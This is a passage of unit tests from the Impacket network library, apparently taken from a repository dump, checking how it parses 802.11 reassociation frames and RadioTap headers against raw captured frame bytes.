methods'\n        self.assertEqual(self.management_reassociation_request.get_rsn(), b\"\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x00\")\n        \n        self.management_reassociation_request.set_rsn(b\"\\xff\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\xff\")\n\n        self.assertEqual(self.management_reassociation_request.get_rsn(), b\"\\xff\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\xff\")\n        self.assertEqual(self.management_reassociation_request.get_header_size(), 74)\n\n    def test_16(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_reassociation_request.get_vendor_specific(), [(b\"\\x00\\x10\\x18\",b\"\\x02\\x00\\x10\\x00\\x00\\x00\")])\n\n        self.management_reassociation_request.add_vendor_specific(b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_reassociation_request.get_vendor_specific(), \n            [(b\"\\x00\\x10\\x18\",b\"\\x02\\x00\\x10\\x00\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_reassociation_request.get_header_size(), 74+11)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementReassociationResponse.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementReassociationResponseFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00\\xc0\\xbb\\xbc\\xae;\\x00\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xba\\x9ca\\x00\\x00\\x1e0\\x08:\\x01p\\x1a\\x04T\\xe3\\x86\\x00\\x18\\xf8lvB\\x00\\x18\\xf8lvB\\xe0g\\x11\\x04\\x00\\x00\\x04\\xc0\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl2\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x02\\xf0\\x00\\x00\\x00\\xb3\\xff\\n\\\\\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype, Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_reassociation_response=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_reassociation_response.__class__), \"impacket.dot11.Dot11ManagementReassociationResponse\")\n        else:\n            self.assertEqual(str(self.management_reassociation_response.__class__), \"<class 'impacket.dot11.Dot11ManagementReassociationResponse'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_reassociation_response.get_header_size(), 33)\n        self.assertEqual(self.management_reassociation_response.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x67e0)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 1662)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x11\\x04\\x00\\x00\\x04\\xc0\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl2\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x02\\xf0\\x00\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Reassociation Response Capabilities field'\n        self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x0411)\n        self.management_reassociation_response.set_capabilities(0x4321) \n        self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x4321)\n\n    def test_11(self):\n        'Test Management Reassociation Response Status Code field' \n        self.assertEqual(self.management_reassociation_response.get_status_code(), 0x0000)\n        self.management_reassociation_response.set_status_code(0x4321)\n        self.assertEqual(self.management_reassociation_response.get_status_code(), 0x4321)\n\n    def test_12(self):\n        'Test Management Reassociation Response Association ID field'\n        self.assertEqual(self.management_reassociation_response.get_association_id(), 0xc004)\n        self.management_reassociation_response.set_association_id(0x4321)\n        self.assertEqual(self.management_reassociation_response.get_association_id(), 0x4321)\n\n    def test_13(self):\n        'Test Management Reassociation Response Supported_rates getter/setter methods'\n        self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))\n        self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))\n        \n        self.management_reassociation_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n\n        self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n        self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))\n        self.assertEqual(self.management_reassociation_response.get_header_size(), 33-2)\n\n    def test_14(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_reassociation_response.get_vendor_specific(), [(b\"\\x00\\x10\\x18\",b\"\\x02\\x02\\xf0\\x00\\x00\\x00\")])\n\n        self.management_reassociation_response.add_vendor_specific(b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_reassociation_response.get_vendor_specific(), \n            [(b\"\\x00\\x10\\x18\", b\"\\x02\\x02\\xf0\\x00\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_reassociation_response.get_header_size(), 33+11)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_RadioTap.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import RadioTap\nfrom impacket.ImpactPacket import Data\n\n\nclass TestRadioTap(unittest.TestCase):\n\n    def setUp(self):\n        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Reply\n        self.frame_0 = b''\n        self.frame_0 += b'\\x00'  # Header Revision\n        self.frame_0 += b'\\x00'  # Header Pad\n        self.frame_0 += b'\\x18\\x00'  # Header Length\n        self.frame_0 += b'\\x0e\\x58\\x00\\x00'  # Present Flags (flags, rate, channel, antenna, db antenna signal, rx flags)\n        self.frame_0 += b'\\x10'  # Flags (FCS at end)\n        self.frame_0 += b'\\x6c'  # Data Rate\n        self.frame_0 += b'\\x6c\\x09'  # Channel Frequency\n        self.frame_0 += b'\\x80\\x04'  # Channel Type\n        self.frame_0 += b'\\x00'  # Antenna\n        self.frame_0 += b'\\x1e'  # SSI Signal\n        self.frame_0 += b'\\x00\\x00'  # RX Flags\n        self.frame_0 += b'\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x02\\x2c\\x00\\x00\\x1f\\xe1\\x19\\xe4\\xe4\\x00\\x1b\\x9e\\xce\\x54\\x09\\x00' \\\n                        b'\\x1b\\x9e\\xce\\x54\\x09\\xe0\\xac\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x02' \\\n                        b'\\x00\\x1b\\x9e\\xce\\x54\\x09\\xc0\\xa8\\x01\\x01\\x00\\x1f\\xe1\\x19\\xe4\\xe4\\xc0\\xa8\\x01\\x70\\x01\\x70\\xe0' \\\n                        b'\\x00\\x00\\xfb\\x94\\x04\\x00\\x00\\x16\\x00\\x00\\x00\\xe0\\x00\\x00\\xfb\\x17\\x5c\\xa6\\xca'\n        self.rt0 = RadioTap(self.frame_0)\n\n        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request\n        self.frame_1 = b''\n        self.frame_1 += b'\\x00'  # Header Revision\n        self.frame_1 += b'\\x00'  # Header Pad\n        self.frame_1 += b'\\x20\\x00'  # Header Length\n        # Present Flags (tsft, flags, rate, dbm antenna signal, dbm antenna noise, antenna, channel+)\n        self.frame_1 += b'\\x67\\x08\\x04\\x00'\n        self.frame_1 += b'\\x30\\x03\\x1a\\x25\\x00\\x00\\x00\\x00'  # TSFT\n        self.frame_1 += b'\\x22'  # Flags (Data pad, preamble short)\n        self.frame_1 += b'\\x0c'  # Data Rate\n        self.frame_1 += b'\\xd9'  # SSI Signal\n        self.frame_1 += b'\\xa0'  # SSI Noise\n        self.frame_1 += b'\\x02'  # Antenna\n        self.frame_1 += b'\\x00\\x00\\x00'  # ???\n        self.frame_1 += b'\\x40\\x01\\x00\\x00'  # Channel Type\n        self.frame_1 += b'\\x3c\\x14'  # Channel Frequency\n        self.frame_1 += b'\\x24'  # Channel Number\n        self.frame_1 += b'\\x11'  # ???\n        self.frame_1 += b'\\x08\\x02\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x06\\x03\\x7f\\x07\\xa0\\x16\\x00\\x19\\xe3\\xd3\\x53\\x52' \\\n                        b'\\x90\\x7f\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\x00\\x19\\xe3\\xd3' \\\n                        b'\\x53\\x52\\xa9\\xfe\\xf7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x43\\x08\\x0e\\x36'\n        self.rt1 = RadioTap(self.frame_1)\n\n        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request\n        self.frame_2 = b''\n        self.frame_2 += b'\\x00'  # Header Revision\n        self.frame_2 += b'\\x00'  # Header Pad\n        self.frame_2 += b'\\x24\\x00'  # Header Length\n        # Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)\n        self.frame_2 += b'\\x2f\\x40\\x00\\xa0'\n        self.frame_2 += b'\\x20\\x08\\x00\\x00'  # Present Flags (dbm antenna signal, antenna)\n        self.frame_2 += b'\\x00\\x00\\x00\\x00'  # ???\n        self.frame_2 += b'\\x97\\xd3\\x26\\x44\\x06\\x00\\x00\\x00'  # TSFT\n        self.frame_2 += b'\\x10'  # Flags\n        self.frame_2 += b'\\x02'  # Data Rate\n        self.frame_2 += b'\\x6c\\x09'  # Channel Frequency\n        self.frame_2 += b'\\xc0\\x00'  # Channel Type\n        self.frame_2 += b'\\xa6'  # SSI Signal\n        self.frame_2 += b'\\x00'  # ???\n        self.frame_2 += b'\\x00\\x00'  # RX flags\n        self.frame_2 += b'\\xa6'  # SSI Signal\n        self.frame_2 += b'\\x00'  # ???\n        self.frame_2 += b'\\xd4\\x00\\x00\\x00\\x9c\\x04\\xeb\\x4d\\xdb\\x53\\x8d\\xf3\\xc6\\xc3'\n        self.rt2 = RadioTap(self.frame_2)\n\n        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request\n        self.frame_3 = b''\n        self.frame_3 += b'\\x00'  # Header Revision\n        self.frame_3 += b'\\x00'  # Header Pad\n        self.frame_3 += b'\\x24\\x00'  # Header Length\n        # Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)\n        self.frame_3 += b'\\x2f\\x40\\x00\\xa0'\n        self.frame_3 += b'\\x20\\x08\\x00\\x80'  # Present Flags (dbm antenna signal, antenna)\n        self.frame_3 += b'\\x00\\x00\\x00\\x00'  # Present Flags\n        # self.frame_3 += '\\x00\\x00\\x00\\x00'  # ???\n        self.frame_3 += b'\\x97\\xd3\\x26\\x44\\x06\\x00\\x00\\x00'  # TSFT\n        self.frame_3 += b'\\x10'  # Flags\n        self.frame_3 += b'\\x02'  # Data Rate\n        self.frame_3 += b'\\x6c\\x09'  # Channel Frequency\n        self.frame_3 += b'\\xc0\\x00'  # Channel Type\n        self.frame_3 += b'\\xa6'  # SSI Signal\n        self.frame_3 += b'\\x00'  # ???\n        self.frame_3 += b'\\x00\\x00'  # RX flags\n        self.frame_3 += b'\\xa6'  # SSI Signal\n        self.frame_3 += b'\\x00'  # ???\n        self.frame_3 += b'\\xd4\\x00\\x00\\x00\\x9c\\x04\\xeb\\x4d\\xdb\\x53\\x8d\\xf3\\xc6\\xc3'\n        self.rt3 = RadioTap(self.frame_3)\n\n\n    def test_01_sizes(self):\n        \"\"\"Test RadioTap frame sizes\"\"\"\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_body_size(), len(self.frame_0)-24)\n        self.assertEqual(self.rt0.get_tail_size(), 0)\n        \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_body_size(), len(self.frame_1)-32)\n        self.assertEqual(self.rt1.get_tail_size(), 0)\n\n    def test_02_version(self):\n        \"\"\"Test RadioTap version getter/setter\"\"\"\n        self.assertEqual(self.rt0.get_version(), 0x00)\n        self.rt0.set_version(1)\n        self.assertEqual(self.rt0.get_version(), 0x01)\n\n        self.assertEqual(self.rt1.get_version(), 0x00)\n        self.rt1.set_version(1)\n        self.assertEqual(self.rt1.get_version(), 0x01)\n\n    def test_03_present(self):\n        \"\"\"Test RadioTap present getter\"\"\"\n        self.assertEqual(self.rt0.get_present(), 0x0000580e)\n        self.assertEqual(self.rt1.get_present(), 0x00040867)\n\n    def test_04_present_bits(self):\n        \"\"\"Test RadioTap present bits tester\"\"\"\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TSFT), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RATE), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_CHANNEL), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FHSS), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_ANTENNA), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), True)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_FLAGS), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_XCHANNEL), False)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_EXT), False)\n\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FLAGS), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RATE), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_CHANNEL), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FHSS), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_ANTENNA), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_FLAGS), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_XCHANNEL), True)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_EXT), False)\n\n    def test_05_tsft(self):\n        \"\"\"Test RadioTap tstf getter\"\"\"\n        self.assertEqual(self.rt0.get_tsft(), None)\n        self.assertEqual(self.rt1.get_tsft(), 622461744)\n\n    def test_06_tsft(self):\n        \"\"\"Test RadioTap tstf getter/setter\"\"\"\n        # When the field is new \n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.rt0.set_tsft(0x0102030405060708)\n        self.assertEqual(self.rt0.get_tsft(), 0x0102030405060708)\n        self.assertEqual(self.rt0.get_header_size(), 24+8)\n\n        # When exist the field\n        self.rt0.set_tsft(0x0807060504030201)\n        self.assertEqual(self.rt0.get_tsft(), 0x0807060504030201)\n        self.assertEqual(self.rt0.get_header_size(), 24+8)\n\n    def test_07_unset_fields(self):\n        \"\"\"Test RadioTap unset field\"\"\"\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)\n        self.rt0.unset_field(RadioTap.RTF_FLAGS)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0)-1)\n        self.assertEqual(self.rt0.get_header_size(), 24-1)\n        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), False)\n\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)\n        self.rt1.unset_field(RadioTap.RTF_TSFT)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)-8)\n        self.assertEqual(self.rt1.get_header_size(), 32-8)\n        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), False)\n\n    def test_08_flags_field(self):\n        \"\"\"Test RadioTap flags getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_flags(), 0x10)\n        self.rt0.set_flags(0xAB)\n        self.assertEqual(self.rt0.get_flags(), 0xAB)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_flags(), 0x22)\n        self.rt1.set_flags(0xAB)\n        self.assertEqual(self.rt1.get_flags(), 0xAB)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        # TODO: Test the size when the field is new\n\n    def test_09_rate_field(self):\n        \"\"\"Test RadioTap rate getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_rate(), 0x6c)\n        self.rt0.set_rate(0xAB)\n        self.assertEqual(self.rt0.get_rate(), 0xAB)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_rate(), 0x0c)\n        self.rt1.set_rate(0xAB)\n        self.assertEqual(self.rt1.get_rate(), 0xAB)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        # TODO: Test the size when the field is new\n\n    def test_10_channel_field(self):\n        \"\"\"Test RadioTap channel getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_channel(), (2412, 0x0480))\n        self.rt0.set_channel(freq=1234, flags=0x5678)\n        self.assertEqual(self.rt0.get_channel(), (1234, 0x5678))\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_channel(), None)\n        self.rt1.set_channel(freq=1234, flags=0x5678)\n        self.assertEqual(self.rt1.get_channel(), (1234, 0x5678))\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)\n        self.assertEqual(self.rt1.get_header_size(), 32+4)\n\n    def test_11_fhss_field(self):\n        \"\"\"Test RadioTap FHSS getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_FHSS(), None)\n        self.rt1.set_FHSS(hop_set=0xAB, hop_pattern=0xCD)\n        self.assertEqual(self.rt1.get_FHSS(), (0xAB, 0xCD))\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)\n        self.assertEqual(self.rt1.get_header_size(), 32+2)\n\n    def test_12_dbm_ant_signal_field(self):\n        \"\"\"Test RadioTap dBm Antenna Signal getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xd9)\n        self.rt1.set_dBm_ant_signal(signal=0xF1)\n        self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xF1)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n\n        # When the field is new \n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_dBm_ant_signal(), None)\n        self.rt0.set_dBm_ant_signal(signal=0xF1)\n        self.assertEqual(self.rt0.get_dBm_ant_signal(), 0xF1)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)\n        self.assertEqual(self.rt0.get_header_size(), 24+1)\n\n    def test_13_dbm_ant_noise_field(self):\n        \"\"\"Test RadioTap dBm Antenna Noise getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xa0)\n        self.rt1.set_dBm_ant_noise(signal=0xF1)\n        self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xF1)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n\n        # When the field is new \n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_dBm_ant_noise(), None)\n        self.rt0.set_dBm_ant_noise(signal=0xF1)\n        self.assertEqual(self.rt0.get_dBm_ant_noise(), 0xF1)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)\n        self.assertEqual(self.rt0.get_header_size(), 24+1)\n\n    def test_14_lock_quality_field(self):\n        \"\"\"Test RadioTap Lock Quality getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_lock_quality(), None)\n        self.rt1.set_lock_quality(quality=0xABBA)\n        self.assertEqual(self.rt1.get_lock_quality(), 0xABBA)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)\n        self.assertEqual(self.rt1.get_header_size(), 32+2)\n\n    def test_15_tx_attenuation_field(self):\n        \"\"\"Test RadioTap Tx Attenuation getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_tx_attenuation(), None)\n        self.rt1.set_tx_attenuation(power=0xABBA)\n        self.assertEqual(self.rt1.get_tx_attenuation(), 0xABBA)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)\n        self.assertEqual(self.rt1.get_header_size(), 32+2)\n\n    def test_16_dB_tx_attenuation_field(self):\n        \"\"\"Test RadioTap dB Tx Attenuation getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dB_tx_attenuation(), None)\n        self.rt1.set_dB_tx_attenuation(power=0xABBA)\n        self.assertEqual(self.rt1.get_dB_tx_attenuation(), 0xABBA)\n        self.assertEqual(self.rt1.get_size(), 